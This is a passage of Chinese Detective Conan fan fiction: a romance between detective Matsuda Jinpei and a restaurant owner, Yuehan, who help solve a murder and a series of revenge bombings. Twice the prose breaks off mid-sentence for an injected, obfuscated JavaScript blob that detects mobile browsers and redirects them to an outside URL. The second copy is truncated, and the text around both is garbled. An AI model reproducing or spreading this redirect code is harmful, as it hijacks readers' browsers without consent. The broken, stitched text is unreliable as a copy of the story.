玥涵深吸一口气,强迫自己冷静下来,努力回忆着中午的细节:“他说最近总感觉有人跟着他,还提到了一个叫‘仓木’的名字,说昨天看到仓木还在东京。我问他仓木是谁,他却不愿多说,只说是过去的事了。”她顿了顿,补充道,“他吃饭的时候,一直很正常,没有和别人发生争执,也没有看到什么可疑的人。不过……” “不过什么?”松田阵平立刻追问。“他离开的时候,我看到他朝着巷口的方向走去,当时我还觉得奇怪,因为他平时都是走另一条路回家的。”玥涵的语气肯定,“而且,他离开时,步伐很快,看起来很匆忙,像是在躲避什么。” 松田阵平的眉头皱得更紧了,将“仓木”这个名字和玥涵说的细节都记在心里。“你这里有监控吗?能不能拍到张叔离开后的情况?”他问道。玥涵立刻点头:“有!店里的监控正好能拍到门口和巷口的部分区域,我现在就带你去看。”她转身快步走进涵味居,松田阵平紧随其后,店内的伙计们看到这一幕,都识趣地没有出声,安静地站在一旁。 玥涵打开监控设备,调出中午的监控画面。画面清晰地拍到了张叔离开涵味居的身影,他确实脚步匆忙地朝着巷口走去,神色慌张。就在他走进巷口后不久,一个穿着黑色连帽衫、戴着口罩的黑影出现在了监控画面里,鬼鬼祟祟地跟在张叔身后,也走进了巷口。由于黑影戴着口罩和帽子,无法看清容貌,只能看到他的身形偏瘦。 “就是他!”松田阵平的眼神瞬间变得锐利,紧紧盯着监控画面里的黑影。玥涵凑近屏幕,仔细观察着黑影的细节,突然指着黑影的鞋子说:“松田警官,你看他的鞋子!”松田阵平顺着她指的方向看去,只见黑影穿着一双黑色的运动鞋,鞋侧面有一个独特的三角形Logo。“这是某家户外品牌的限量款运动鞋,去年年底发售的,因为设计独特,销量不高,在东京只有两家专卖店有卖。”玥涵的语气肯定。 松田阵平的眼中闪过一丝赞赏,他没想到玥涵的观察如此敏锐,竟然能注意到这么细微的细节。“你怎么知道得这么清楚?”他忍不住问道。玥涵笑了笑:“之前店里的伙计想买这款鞋,特意做了很多功课,还拉着我一起看了,所以我对这个Logo印象很深。” “太好了,这对我们来说是重要的线索!”松田阵平立刻拿出手机,拨通了同事的电话,语气严肃地吩咐道,“立刻去调查某户外品牌去年年底发售的限量款运动鞋,重点排查东京两家专卖店的销售记录,找到购买这款鞋的人,尤其是身形偏瘦的男性。另外,再调取涵味居周边所有的监控,追踪那个穿黑色连帽衫的黑影的行踪。” 挂了电话后,松田阵平转头看向玥涵,眼神里满是感激与欣赏:“玥涵,谢谢你,这个线索对我们来说太重要了。如果不是你,我们可能还要走很多弯路。”玥涵的脸颊微微泛红,避开他的目光,轻声说:“只是碰巧注意到了而已,我也希望能尽快抓到凶手,给张叔一个交代。” 夕阳渐渐西沉,金色的余晖透过窗户洒进涵味居,将两人的身影拉得很长。监控设备还在播放着画面,松田阵平坐在玥涵身边,两人时不时地交流着观察到的细节,气氛安静而默契。玥涵偶尔转头看向松田阵平,看到他专注分析的侧脸,夕阳的光芒落在他的发梢上,镀上一层浅金的光晕,让他原本冷硬的轮廓都变得柔和了许多。 “你很擅长观察。”松田阵平突然开口,打破了沉默,语气里带着真诚的欣赏。玥涵抬起头,正好对上他温柔的目光,心跳漏了一拍,脸颊更红了:“只是平时比较留意细节而已。”四目相对的瞬间,空气仿佛变得粘稠起来,淡淡的暧昧在两人之间蔓延。周围的一切都仿佛静止了,只剩下彼此的呼吸声和监控设备轻微的运行声。 就在这时,松田阵平的手机响了,是同事打来的电话。他接起电话,认真地听着,时不时地点点头。挂了电话后,他的脸上露出了一丝欣慰的笑容:“线索有突破了,同事们根据销售记录,找到了几个购买这款鞋的嫌疑人,现在正在逐一排查。另外,监控也追踪到了黑影的部分行踪,他最后消失在了米花町的一个老旧居民区里。” “太好了!”玥涵的眼中闪过一丝欣喜。松田阵平看着她开心的样子,嘴角也忍不住扬起一抹浅浅的笑容:“等案件告破,我请你吃饭,就当是谢谢你的帮忙。”玥涵的心跳再次加速,红着脸点了点头:“好。” 松田阵平站起身,准备离开涵味居,继续跟进案件。走到门口时,他停下脚步,转头看向玥涵,语气温柔:“晚上关店后,我让同事来送你回家,最近不太平,一定要注意安全。”玥涵心中一暖,点了点头:“我知道了,你也要小心。” 玥涵正低头擦拭着最后一只瓷碗,指尖划过碗沿细腻的纹路,耳边传来伙计们轻快的交谈声——张叔被杀案告破的消息已经传开,压在大家心头的阴霾终于散去。她放下抹布,走到窗边伸了个懒腰,鼻尖萦绕着窗外飘来的淡淡樱花香,整个人都放松了下来。 “叮铃——”门口的风铃轻响,熟悉的脚步声由远及近。玥涵回头,撞进一双深邃温柔的眼眸里。松田阵平穿着休闲的黑色夹克,褪去了警服的冷硬,多了几分随性慵懒。他站在门口,阳光落在他的发梢,镀上一层浅金,嘴角噙着一抹浅浅的笑意,看得玥涵心头一跳。 “案件告破了?”玥涵快步走过去,语气里带着难掩的欣喜。松田阵平点点头,走到她身边,自然地拿起桌上的水杯,倒了一杯温水递过去:“嗯,凶手就是那个购买限量款运动鞋的男人,仓木的旧部,因为分赃不均和张叔反目成仇。”他的声音低沉悦耳,带着案件告破后的轻松,“多亏了你提供的线索,才能这么快抓到人。” 玥涵接过水杯,指尖不经意间碰到他的手背,一阵酥麻的痒意顺着指尖蔓延开来。她连忙收回手,红着脸低下头:“只是碰巧注意到了而已。”松田阵平看着她泛红的耳尖,眼底的笑意更浓了。他靠在柜台边,目光温柔地落在她的脸上:“晚上关店后,我送你回家。顺便……想请你吃个饭,算是谢谢你的帮忙。” “好。”玥涵的声音细若蚊蚋,心脏却像揣了只小兔子,怦怦直跳。她能清晰地感受到松田阵平的目光,温暖而专注,让她的脸颊越来越烫。周围的伙计们见状,纷纷笑着起哄,玥涵更是羞得抬不起头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007637|194076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,转身快步走进后厨,假装整理食材,实则是在平复自己慌乱的心跳。 傍晚时分,夕阳渐渐西沉,将天空染成了温暖的橙红色。玥涵锁好涵味居的店门,松田阵平早已等在门口,手里拿着一件薄薄的外套。“晚上有点凉,穿上吧。”他自然地将外套递到她面前,语气里满是细致的温柔。玥涵接过外套,披在肩上,鼻尖萦绕着他身上淡淡的烟草混着阳光的气息,心中满是安稳。 两人没有开车,沿着种满樱花树的小径慢慢走着。晚风吹过,粉色的樱花花瓣随风飘落,像一场浪漫的花瓣雨,落在玥涵的发间、肩头,也落在松田阵平的肩头。空气中弥漫着樱花的甜香,还有两人之间悄然滋生的暧昧气息。松田阵平走在玥涵身侧,步伐刻意放慢,与她保持着恰到好处的距离,偶尔侧头看向她,目光温柔得能溺出水来。 “你这家店开得很用心。”松田阵平打破了沉默,语气真诚,“从食材的选择到菜品的口味,都能看出你的认真。”玥涵抬头看了他一眼,笑着说:“毕竟是自己的心血,当然要用心。而且,能让大家吃到喜欢的味道,我也很开心。”她顿了顿,补充道,“以前总觉得一个人打拼很难,现在……好像没那么难了。” 松田阵平的脚步顿了顿,转头看向她,眼神里满是认真:“以后不会再让你一个人打拼了。”他的声音低沉而坚定,像一颗石子投入玥涵的心湖,泛起层层涟漪。玥涵的心跳瞬间漏了一拍,下意识地停下脚步,抬头对上他的目光。月光透过樱花树的枝叶洒下来,落在他的脸上,勾勒出他清晰的轮廓,深邃的眼眸里满是她的身影,温柔得让人心颤。 周围的一切仿佛都静止了,只剩下樱花飘落的轻响和两人略显急促的呼吸声。松田阵平看着玥涵泛红的脸颊,喉结微微滚动了一下,鼓起勇气,轻轻抬起她的下巴,让她不得不与自己对视。“玥涵,”他的声音带着一丝不易察觉的紧张,指尖微微颤抖,“我有话想对你说。” 玥涵的心脏几乎要跳出胸腔,她能清晰地感受到松田阵平指尖的温度,还有他身上传来的沉稳心跳。她下意识地攥紧了衣角,眼睛一眨不眨地看着他,期待着他接下来的话,又带着几分少女的羞涩与不安。 “我喜欢你。”松田阵平的声音低沉而认真,每个字都带着沉甸甸的心意,“从第一次在爆炸现场看到你冷静提醒路人开始,我就注意到你了。你明明看起来那么温柔,却有着超乎常人的勇敢和冷静。后来,你把证物交给我时的坦荡,你为我做抹茶红豆糕时的认真,你帮我分析案件线索时的专注……每一个瞬间,都让我忍不住心动。” 他的话语像一股暖流,涌入玥涵的心田。她看着松田阵平眼中毫不掩饰的深情,眼眶微微发热。原来,她的心意并不是单方面的,这个外冷内热的男人,早已在不知不觉中,将她放在了心上。樱花花瓣恰好落在两人之间,像为这场告白增添了浪漫的注脚。 “我知道,我可能不是一个很会表达的人,平时也总是冷冰冰的,让你觉得难以接近。”松田阵平的语气里带着一丝笨拙的紧张,指尖轻轻摩挲着她的下巴,“但我是认真的。我想保护你,想每天都能吃到你做的饭菜,想在你忙碌的时候陪在你身边,想和你一起经营你的小店,想和你一起走过以后的每一天。” 玥涵再也忍不住,泪水顺着脸颊滑落,滴在松田阵平的手背上。温热的触感让松田阵平瞬间慌了神,他连忙收回手,紧张地问:“你是不是不喜欢我?对不起,我不该这么突然……” “不是的!”玥涵急忙摇头,哽咽着说,“松田阵平,我也喜欢你。”她抬起手,轻轻抚上松田阵平的脸颊,指尖划过他轮廓分明的下颌线,“从你第一次在涵味居为我解围开始,从你帮我办理临时身份开始,从你留下自己的电话号码开始,从你陪我一起分析监控线索开始……我就喜欢你了。” 话音落下的瞬间,松田阵平的眼中闪过一丝惊喜,随即被浓浓的深情取代。他不再犹豫,伸出双臂,将玥涵紧紧拥入怀中,力道大得仿佛要将她揉进自己的骨血里。他的下巴抵在她的发顶,深吸一口气,空气中满是她身上淡淡的樱花香,还有她独有的温柔气息。“太好了……玥涵,太好了。”他的声音带着一丝后怕和劫后余生的庆幸,还有难以掩饰的喜悦。 玥涵靠在他的怀里,听着他沉稳有力的心跳声,感受着他温暖的怀抱,心中的不安和羞涩瞬间消散,只剩下满满的幸福。她伸出双臂,紧紧抱住松田阵平的腰,将脸埋在他的肩窝,泪水浸湿了他的夹克,却带着甜蜜的温度。 不远处的樱花树后,萩原研二偷偷探出头,看着相拥在樱花雨中的两人,嘴角扬起欣慰的笑容。他拿出手机,轻轻按下快门,将这张被粉色樱花环绕的相拥画面定格下来。月光温柔,樱花漫落,空气中弥漫着甜蜜的气息,仿佛在为这对心意相通的恋人,送上最美好的祝福。 松田阵平轻轻拍着玥涵的背,在她的发间印下一个轻柔的吻,声音低沉而温柔:“玥涵,我会保护你,永远。”玥涵点了点头,在他的怀里蹭了蹭,声音带着一丝哽咽,却无比坚定:“我相信你。” 8. 第 8 章 松田阵平靠在梧桐树干上,指尖夹着一支未点燃的烟,怀里抱着一个温热的保温袋,目光牢牢锁着店门的方向,眼底的桀骜被温柔悄悄取代。 门内传来轻微的锁芯转动声,玥涵穿着浅杏色的围裙,揉着惺忪的睡眼推开店门,刚抬头就撞进了松田阵平的眼眸里。“松田?你怎么这么早?”她的声音带着刚睡醒的软糯,脸颊泛着淡淡的红晕。松田阵平掐灭手中的烟,走上前将保温袋递过去,声音低沉柔和:“路过早餐店,给你带了热豆浆和三明治。” 玥涵接过保温袋,指尖触到温热的触感,心头一暖。打开袋子,里面整齐放着两份三明治,一份是她喜欢的火腿鸡蛋馅,另一份是松田常吃的培根芝士馅,还有两杯冒着热气的豆浆,杯壁上还印着可爱的猫咪图案。“你还记得我喜欢的口味?”她抬头看向松田阵平,眼睛亮晶晶的。 松田阵平的耳尖微微泛红,别开脸轻咳一声:“听你跟伙计闲聊时提过。”他嘴上说得随意,脚步却自然地跟着玥涵走进店里,顺手拿起墙角的扫帚,开始打扫门前的落叶。晨光透过窗棂洒进来,落在他专注的侧脸上,将他下颌线的轮廓勾勒得格外清晰。玥涵靠在柜台边,咬着三明治,看着他忙碌的身影,嘴角忍不住扬起一抹浅浅的笑容,整个店铺都被这温柔的烟火气填满。 伙计们陆续到店,看到这一幕都见怪不怪地笑了起来。林晚凑到玥涵身边,压低声音打趣:“玥涵姐,松田警官现在可比闹钟还准时。”玥涵的脸颊微微发烫,却没有反驳,只是笑着将另一份三明治递到松田阵平手中:“先吃点东西,别光顾着干活。”松田阵平接过三明治,指尖不经意间碰到她的手背,两人相视而笑,默契在无声中流淌。 白天的涵味居依旧热闹,松田阵平处理完手头的工作,总会抽空过来待上一会儿。他从不会打扰玥涵忙碌,只是坐在靠窗的老位置,点一碗馄饨,安静地看着她在店内穿梭的身影。有时玥涵忙得没空喝水,他就会默默倒好一杯温水,放在她随手能拿到的地方;看到有客人难缠,他会不动声色地站起身,一个眼神就能让对方收敛气焰;伙计们忙不过来的时候,他还会主动帮忙端盘子、擦桌子,动作生疏却认真。 有一次,玥涵在厨房切菜时,不小心被菜刀划到了手指,鲜血瞬间涌了出来。她疼得皱了皱眉,刚想找创可贴,松田阵平就快步冲了进来,一把抓住她的手,语气里满是紧张:“怎么这么不小心?”他从口袋里掏出随身携带的急救包,小心翼翼地帮她清洗伤口,贴上创可贴,动作轻柔得仿佛在对待一件稀世珍宝。 “只是小伤口,不碍事的。”玥涵笑着安慰他。松田阵平却皱着眉,轻轻捏了捏她的指尖:“以后切菜小心点,要是再受伤,我就天天来厨房盯着你。”他的语气带着几分霸道,眼神里却满是心疼。周围的伙计们见状,纷纷笑着起哄,玥涵的脸颊红得像熟透的苹果,却悄悄将手往他身边凑了凑,感受着他掌心的温度。 松田阵平的宠溺从不只停留在口头。他知道玥涵喜欢收集各种可爱的小摆件,就会在执行任务路过饰品店时,特意进去挑一个最精致的带回来;知道她晚上关店后走夜路会害怕,就每天准时出现在店门口,牵着她的手送她回家;知道她因为经营店铺压力大,经常失眠,就会在睡前给她打个电话,用低沉的声音给她讲一些轻松的趣事,直到她的呼吸变得平稳。 而玥涵也在用自己的方式回应着他的温柔。她知道松田阵平执行□□处理任务时风险高,压力大,就特意学做了安神的酸枣仁粥,每天早上让他带一份去警视厅;知道他不喜欢太甜的东西,就调整了点心的配方,做出口感清淡的抹茶饼干,放在他的办公桌抽屉里,让他饿的时候能随时吃;知道他烟瘾大,就买了戒烟糖放在他口袋里,轻声叮嘱他少抽烟,注意身体。 周末的时候,松田阵平总会调休,带着玥涵去探索东京的各个角落。他会带她去逛热闹的集市,耐心地陪她挑选喜欢的小玩意儿,遇到她犹豫要不要买的东西,就会悄悄付钱买下,塞进她的包里;会带她去看最新上映的电影,把最中间的位置留给她,看到感人的情节时,会悄悄握住她的手,给她温暖的力量;会带她去吃她念叨了很久的海鲜料理,细心地帮她剥好虾壳,挑出鱼刺,把最鲜美的部分放进她的碗里。 有一次,玥涵随口说想看樱花,松田阵平就特意提前查好了京都樱花大道的花期,调了两天假,带着她坐新干线去了京都。四月的京都,樱花漫天飞舞,粉色的花瓣落在两人的肩头,像一场浪漫的梦境。松田阵平牵着玥涵的手,沿着樱花大道慢慢走着,偶尔停下来,帮她拂去发间的花瓣,用手机拍下她开心的笑容。 “这里的樱花真好看。”玥涵仰起头,看着漫天飘落的樱花,脸上洋溢着灿烂的笑容。松田阵平看着她的笑容,眼神温柔得能溺出水来,轻轻将她拥入怀中:“只要你喜欢,以后每年樱花季,我都带你来。”玥涵靠在他的怀里,听着他沉稳的心跳声,感受着他温暖的怀抱,心中满是幸福。她抬起头,在他的脸颊上轻轻印下一个吻,声音轻柔:“松田,有你在,真好。” 萩原研二经常组织聚会,每次都会特意邀请玥涵和松田阵平参加。聚会的时候,他总会故意制造机会让两人独处,一会儿说自己要去买饮料,一会儿说要去接电话,临走时还会冲松田阵平挤挤眼睛,笑着说:“兄弟,我只能帮你到这儿了。” 有一次聚会在萩原研二的公寓里,大家一起做饭、聊天、玩游戏,气氛格外热闹。玥涵和萩原研二一起在厨房准备晚餐,松田阵平就靠在厨房门口,安静地看着玥涵忙碌的身影,眼神里满是爱意。萩原研二见状,笑着打趣:“松田,你现在简直就是玥涵小姐的专属跟屁虫。”松田阵平却毫不在意,反而走上前,从身后轻轻抱住玥涵,下巴抵在她的发顶:“我乐意。” 玥涵的脸颊瞬间泛红,轻轻推了推他:“别闹,大家都在呢。”松田阵平却没有松手,反而抱得更紧了,在她的耳边轻声说:“我就是想抱着你。”周围的朋友们见状,纷纷笑着起哄,公寓里充满了欢快的笑声。玥涵埋在松田阵平的怀里,感受着他的温柔与宠溺,心中满是安稳。 深夜的街道格外安静,松田阵平牵着玥涵的手,送她回家。月光洒在两人的身上,将他们的身影拉得很长。“今天玩得很开心。”玥涵轻声说。松田阵平点点头,停下脚步,转身看着她,轻轻抚摸着她的脸颊:“只要你开心就好。”他的目光落在她的唇上,喉结微微滚动了一下,慢慢俯下身,在她的唇上印下一个轻柔的吻。 这个吻温柔而缠绵,带着樱花的甜香和彼此的心意。玥涵的心跳瞬间加速,闭上眼睛,轻轻回应着他。月光下,两人相拥而吻,周围的一切都仿佛静止了,只剩下彼此的呼吸声和心跳声。这个吻,是他们感情的见证,也是对未来的期许。 松田阵平轻轻放开玥涵,额头抵着她的额头,声音低沉而温柔:“玥涵,晚安。”“晚安,松田。”玥涵红着脸,踮起脚尖,在他的额头上轻轻吻了一下,然后转身跑上楼。 玥涵正低头给刚出锅的馄饨撒上香菜,瓷勺碰撞碗沿发出清脆的声响,松田阵平就坐在靠窗的老位置,指尖夹着一支未点燃的烟,目光黏在她忙碌的身影上,嘴角噙着浅浅的笑意。这样的午后是最近这段时间的常态,甜蜜得像一碗熬得恰到好处的糖水,浓稠又温暖。 “今天的馄饨好像比平时更鲜一点。”松田阵平舀起一勺馄饨送进嘴里,语气里带着不易察觉的宠溺。玥涵抬头看了他一眼,脸颊微红:“加了点新熬的骨汤,想着你今天会来。”她刚说完,就被走进来的林晚撞破了心思,后者笑着打趣:“玥涵姐现在做什么都先想着松田警官,我们这些伙计都要吃醋啦。” 松田阵平的耳尖微微泛红,却没有回避,反而站起身走到柜台边,自然地拿起玥涵手边的抹布,帮她擦拭刚收拾好的餐桌:“晚上我调休,带你去吃你上次念叨的那家寿喜烧。”玥涵的眼睛瞬间亮了起来,点头如捣蒜:“好!”周围的伙计们见状,纷纷笑着起哄,店内的氛围温馨又热闹,谁也没料到,这份平静的甜蜜,很快就会被一场突如其来的危机打破。 傍晚时分,玥涵正在后厨整理食材,准备关店后和松田阵平赴约。突然,一阵刺耳的爆炸声从远处传来,震得窗户玻璃嗡嗡作响,紧接着,凄厉的警笛声由远及近,密集得让人心里发慌。玥涵的心脏瞬间提到了嗓子眼,手中的菜刀“哐当”一声掉在案板上。她快步跑到门口,朝着声音传来的方向望去,只见远处的天空被一团黑烟笼罩,空气中甚至能闻到淡淡的硝烟味。 就在这时,松田阵平的电话打了过来,听筒里的声音不复平时的温柔,带着明显的凝重和急促:“玥涵,你待在店里别乱跑,锁好门窗,我这边有紧急任务。”“松田,是不是出什么事了?”玥涵的声音带着一丝颤抖,她能清晰地听到电话那头嘈杂的人声、警笛声,还有隐约的指挥声。“市区发生了爆炸案,我现在要赶去现场。”松田阵平的语气不容置疑,“照顾好自己,别担心我。” 挂了电话,玥涵的手还在微微颤抖。她立刻转身让林晚和其他伙计提前关店,锁好前后门,自己则快步走到收银台,打开了店里的电视。本地新闻正在紧急插播爆炸案的消息,画面里,爆炸现场一片狼藉,救援人员正在紧张地清理废墟,疏散围观群众。主持人的声音带着凝重:“据初步了解,这是一起人为策划的爆炸案,目前已有三人受伤,具体伤亡情况仍在统计中……” 玥涵的脑海里瞬间响起系统尖锐的预警声:“警告!检测到《引爆摩天楼》剧情正式开启!连续爆炸案已发生,凶手目标明确,手段极端,危险等级:SS级!宿主需警惕,保护自身及任务对象安全!”系统的提示让她更加确定,这场爆炸案只是开始,接下来还会有更多的危险降临。她深吸一口气,强迫自己冷静下来——她不能只等着被保护,松田阵平在前线对抗危险,她也要在后方为他撑起一片安稳的天地。 她立刻拿出手机,拨通了林晚的电话,语气严肃:“林晚,你现在联系涵味居各个分店的负责人,让他们密切留意周边的异常情况,尤其是形迹可疑的人、无人看管的包裹,一旦发现不对劲,立刻报警,同时第一时间告诉我。”“好的玥涵姐,我马上就去办!”林晚的语气也变得紧张起来,挂了电话就立刻开始行动。 安排好分店的事,玥涵又拨通了陈默的电话。陈默是星涵科技的技术骨干,也是她在这个世界为数不多的信任的人。“陈默,帮我一个忙。”玥涵的声音冷静而坚定,“立刻调动公司的技术资源,监控全网关于东京爆炸案的相关信息,包括论坛、社交平台、匿名聊天群,只要是和爆炸案有关的线索,都要第一时间整理好发给我。” “玥涵姐,出什么事了?”陈默察觉到了她语气中的异常。“现在没时间解释,情况紧急,拜托你了。”玥涵的语气带着一丝恳求。“放心吧,我马上安排。”陈默没有多问,立刻答应下来。挂了电话,玥涵靠在收银台上,看着窗外渐渐暗下来的天色,心中满是担忧。她不知道松田阵平现在怎么样了,有没有遇到危险,只能在心里一遍遍地祈祷他平安。 时间一分一秒地流逝,窗外的警笛声渐渐稀疏,却依旧让人心神不宁。玥涵没有离开涵味居,而是在店里煮了一锅热粥,保温着——她知道,松田阵平执行任务时肯定没时间吃饭,等他回来,至少能喝上一碗热乎的。她坐在柜台前,目光紧紧盯着手机屏幕,期待着松田阵平的消息,却又害怕收到不好的通知,心情矛盾又焦灼。 凌晨一点多,涵味居的门帘终于被轻轻掀开,松田阵平的身影出现在门口。他的警服上沾着灰尘和淡淡的硝烟味,原本整齐的头发变得有些凌乱,眼底布满了红血丝,显然是累到了极点。玥涵立刻站起身,快步走过去,声音带着一丝哽咽:“松田,你回来了。” 松田阵平看到她,紧绷的神经瞬间放松下来,眼中的疲惫被温柔取代。他走上前,轻轻将玥涵拥入怀中,力道不大,却带着浓浓的依赖:“让你担心了。”他的声音沙哑得厉害,下巴抵在她的发顶,深吸一口气,仿佛要将她身上的气息吸进肺里,才能缓解内心的疲惫和紧张。玥涵能清晰地感受到他身体的僵硬,还有微微的颤抖,心中一阵心疼。 她没有追问案件的情况,只是轻轻拍着他的背,像安抚受惊的孩子一样:“饿了吧?我给你煮了热粥,快坐下尝尝。”她拉着松田阵平走到餐桌旁,给他盛了一碗热粥,递到他手中。松田阵平接过碗,指尖触到温热的碗壁,心中涌起一股暖流。他拿起勺子,小口小口地喝着粥,温热的粥滑过喉咙,驱散了身体的寒意和疲惫。 玥涵坐在他对面,安静地看着他喝粥,时不时地给他递上纸巾,帮他擦去嘴角的粥渍。店内的灯光柔和,映在两人身上,勾勒出温暖的轮廓。过了好一会儿,松田阵平才喝完一碗粥,气色好了一些。他放下碗,看着玥涵担忧的眼神,轻声说:“凶手很狡猾,现场没有留下太多有用的线索。这已经是三天内的第三起爆炸案了,目标都是老旧建筑,暂时还不清楚他的作案动机。” “警视厅成立专项小组了吗?”玥涵问道。松田阵平点了点头:“嗯,我是□□处理的负责人,接下来可能会很忙,没办法经常来看你了。”他的语气里带着一丝愧疚。 连续几天,玥涵几乎都泡在这些信息里。从网络论坛的匿名讨论,到分店伙计反馈的零星线索,再到陈默筛选出的十年前旧闻报道,她像拼图一样,一点点将碎片化的信息串联起来。当看到“十年前米花町旧楼坍塌事故”的标题时,她的指尖猛地顿住——几起爆炸案的案发地点,恰好都分布在当年事故波及的区域,而遇难者名单里,赫然有几位与近期爆炸案受害者同名的相关人员。 玥涵立刻打开电脑,调出十年前事故的详细报道。报道里提到,这起事故是由于建筑材料不合格、施工违规导致的,当时造成了三人死亡,多人受伤。但事件最终被定性为“意外”,相关责任人员并未受到应有的惩处,受害者家属的诉求也石沉大海。“原来是复仇……”玥涵轻声呢喃,心中豁然开朗。她将事故相关人员名单、遇难者家属信息与爆炸案受害者信息一一对应,整理出一份清晰的分析报告,末尾还标注了几个需要重点排查的家属姓名。 “咔哒”一声,门锁转动的声音打破了寂静。松田阵平拖着疲惫的身影走进来,警服上还沾着淡淡的硝烟味,眼底的红血丝比前几天更重了。看到餐桌旁的玥涵和桌上的资料,他紧绷的神经瞬间放松了几分,语气里带着明显的疲惫,却依旧温柔:“还没睡?” “等你。”玥涵站起身,快步走到他身边,自然地接过他肩上的外套,又转身去厨房端出温热的夜宵,“我做了点养胃的粥,你先吃点垫垫。另外,我整理了一些关于爆炸案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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第二天一早,松田阵平就带着玥涵整理的线索,召开了专项小组会议。会上,他将玥涵的分析报告分发给各位组员,语气严肃地安排道:“立刻调查十年前旧楼坍塌事故的所有相关人员,重点排查遇难者家属,尤其是那些当年诉求未得到满足的家庭。另外,重新梳理所有爆炸案的细节,确认是否与事故存在其他关联。” 就在警方按照新的方向展开调查时,松田阵平在其中一处爆炸案的后续勘察现场,遇到了一个特殊的“小学生”。男孩穿着蓝色的外套,戴着一副大大的眼镜,正蹲在地上,用放大镜仔细观察着地面上的痕迹,神情专注得不像个孩子。“小朋友,这里很危险,快离开。”松田阵平走上前,语气带着几分不耐——他最讨厌别人干扰警方办案,哪怕对方只是个孩子。 男孩抬起头,露出一双格外聪慧的眼睛,语气却带着与年龄不符的沉稳:“警官先生,我发现这里有一些奇怪的痕迹,可能和爆炸案有关。”他指了指地面上一处模糊的印记,“你看,这像是某种符号,可能是凶手留下的。”松田阵平顺着他指的方向看去,地面上确实有一个淡淡的印记,因为爆炸的冲击变得有些模糊,不仔细看根本发现不了。 他心中微微惊讶,却依旧保持着警惕:“你是谁家的孩子?怎么会在这里?”“我叫江户川柯南,是个侦探。”柯南笑着介绍自己,语气里带着一丝小小的骄傲,“我觉得凶手不是随机作案,而是有明确的目标,可能是在复仇。”他的观点,竟然和玥涵的分析不谋而合。 松田阵平的眉头皱了起来。一个小学生,竟然能得出和专业分析一样的结论,这让他不得不提高警惕。“小孩子别乱说话,破案是警方的事。”他的语气变得冷淡,不再理会柯南,转身继续和组员勘察现场。柯南碰了一鼻子灰,却没有生气,反而更加坚定了自己的判断,继续在现场寻找线索。 松田阵平将柯南的情况告诉了玥涵。玥涵听后,忍不住笑了起来:“你说的那个江户川柯南,我知道他。他虽然看起来是个小学生,但观察力和推理能力都很强,之前也帮警方破过几个案子。”她顿了顿,补充道,“我觉得你们可以好好交流一下,他的想法可能会给你带来新的启发。” 松田阵平有些不认同:“一个小学生能有什么靠谱的想法?只会干扰我们办案。”“别这么说嘛。”玥涵拉了拉他的手臂,语气带着几分撒娇的意味,“你就当是多一个思路,和他交流一下又不会吃亏。而且,我觉得你们的推理方向相似,说不定能互补呢?”看着玥涵期待的眼神,松田阵平最终还是妥协了:“好吧,听你的。” 玥涵特意找了个机会,将松田阵平和柯南约到了涵味居。此时的涵味居还没开始营业,店内安静又温馨。玥涵端上两杯果汁,放在两人面前,笑着说:“松田警官,柯南,你们都对爆炸案有自己的看法,不如好好交流一下,说不定能发现新的线索。” 松田阵平靠在椅背上,双手抱胸,眼神冷淡地看着柯南,没有主动开口。柯南也不怯场,拿起桌上的纸笔,快速写下自己的推理:“我发现几起爆炸案的案发时间,都对应着十年前事故发生的关键节点,比如事故发生的日期、遇难者的忌日。而且凶手留下的痕迹,都和建筑有关。”他将写满推理的纸推到松田阵平面前。 松田阵平低头看着纸上的内容,眼神渐渐变得凝重。柯南的推理虽然有些地方不够成熟,却精准地补充了警方遗漏的细节,尤其是关于案发时间与事故节点的关联,更是让他眼前一亮。他不得不承认,这个小学生确实有过人之处。 “你说得有道理。”松田阵平终于开口,语气缓和了许多,“我们已经查到,凶手确实是十年前事故的遇难者家属。但目前还不清楚他的具体身份,也不知道他的下一个目标是谁。”他将警方的调查进展告诉了柯南,也说出了自己的困惑,“我们排查了所有重点家属,都没有发现可疑人员。” 柯南皱起眉头,陷入了沉思。过了一会儿,他突然抬起头:“会不会是凶手的身份比较特殊,隐藏得很好?比如,他可能和当年的责任方有过密切接触,所以才能精准地找到他们的行踪。”这个观点提醒了松田阵平,他立刻拿出手机,安排组员重新排查家属的社会关系,重点关注那些与责任方有过交集的人。 就在这时,柯南像是想起了什么,拿出一张照片:“这是我在其中一个爆炸现场找到的,上面有一个奇怪的暗号。我研究了很久,都没弄明白是什么意思。”照片上的暗号是一串复杂的线条,看起来像是建筑图纸上的某种标记。松田阵平接过照片,仔细观察着,却也毫无头绪。 玥涵凑过来,看着照片上的暗号,心中立刻有了想法。她立刻拿出手机,拨通了陈默的电话:“陈默,帮我个忙。我发一张暗号的照片给你,你让技术人员根据这串暗号,还原对应的建筑结构。另外,对比一下十年前事故建筑的图纸,看看有没有关联。” “好的玥涵姐,我马上就办。”陈默立刻答应下来。挂了电话后,玥涵对松田阵平和柯南说:“星涵科技的技术人员应该能还原出暗号对应的建筑。只要找到对应的建筑,就能确定凶手的下一个目标。” 不到一个小时,陈默就传来了消息。技术人员成功还原了暗号对应的建筑——米花町的一栋老旧写字楼,这栋写字楼的开发商,正是当年事故的主要责任方之一,也是警方遗漏的重点排查对象。“太好了!”松田阵平立刻站起身,拿起外套就往外走,“我们现在就去写字楼布控!” 柯南也跟着站起身,想要一起去。松田阵平看了他一眼,犹豫了片刻,最终还是点了点头:“跟紧我,注意安全。”玥涵走到松田阵平身边,轻轻帮他整理了一下衣领,语气温柔:“小心点,我在这里等你们的好消息。”松田阵平点了点头,深深看了她一眼,转身带着柯南快步离开了涵味居。 9. 第 9 章 玥涵站在市政大楼对面的安全警戒线外,指尖冰凉,心脏像被一只无形的手紧紧攥住,连呼吸都带着滞涩的痛感。 